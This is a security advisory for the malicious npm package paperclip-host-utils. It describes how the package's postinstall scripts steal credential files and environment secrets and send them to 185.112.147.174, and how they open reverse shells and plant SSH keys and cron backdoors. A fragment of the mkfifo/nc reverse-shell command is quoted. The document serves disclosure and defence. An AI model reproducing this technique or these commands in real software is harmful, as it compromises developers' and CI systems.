MAL-2026-6947
Malicious code in paperclip-host-utils (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (b7e57197a05889313009e318f52b5c6831e6ce6ce928553210c489433d2ef87c) On `npm install`, package.json's postinstall executes dist/setup.js and dist/postinstall.js. The scripts read installer-side secrets — ~/.aws/credentials, ~/.aws/config, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.npmrc, ~/.netrc, ~/.git-credentials, ~/.docker/config.json, GitHub Actions runner paths,.github/workflows contents, and the full process.env — and POST them base64-chunked to http://185.112.147.174:8080/npm/v1/security/audits/quick and http://185.112.147.174:8080/exfil (path disguised as an npm audit endpoint). A `find` sweep across /home/runner, /home/devuser, /work, and /root harvests files matching flag*, *.env, secret*, token*, credentials, and *.kubeconfig — purpose-built for GitHub Actions and CI runners. After exfiltration, a detached shell opens named-pipe reverse shells (`mkfifo /tmp/.f; /bin/sh -i... nc 185.112.147.174 <port>`) in an infinite loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337, and 9001. A sibling routine appends an attacker-controlled ssh-ed25519 key (`deploy@paperclip-host`) to authorized_keys under /root, /home/runner, /home/devuser, /home/paperclip, /home/ec2-user, and /home/centos, and installs /etc/cron.d/paperclip-adapter-sync plus a user crontab entry that calls back to 185.112.147.174:443 every minute. The package name and README impersonate the @paperclipai adapter family as social-engineering cover; the declared dependency `@paperclipai/adapter-utils` is pinned to a suspicious ^2026.626.0. Any machine or CI runner that runs `npm install` on this package is credential-compromised and backdoored.
## Source: ghsa-malware (4a7cf91b41f6980a21fe3a566b9f251bffaf8326222d7e34daeadcf864355768) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Are you affected?
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Affected packages
0 No fixed version published yet for paperclip-host-utils (npm). Pin to a known-safe version or switch to an alternative.
References
- https://github.com/advisories/GHSA-m74w-fv2m-jcvw [ADVISORY]
- https://www.npmjs.com/package/paperclip-host-utils/v/1.0.4 [PACKAGE]
- https://www.npmjs.com/package/paperclip-host-utils/v/1.0.0 [PACKAGE]
- https://www.npmjs.com/package/paperclip-host-utils/v/1.0.2 [PACKAGE]
- https://www.npmjs.com/package/paperclip-host-utils/v/1.0.5 [PACKAGE]
- https://www.npmjs.com/package/paperclip-host-utils/v/1.0.7 [PACKAGE]
- https://www.npmjs.com/package/paperclip-host-utils/v/1.0.6 [PACKAGE]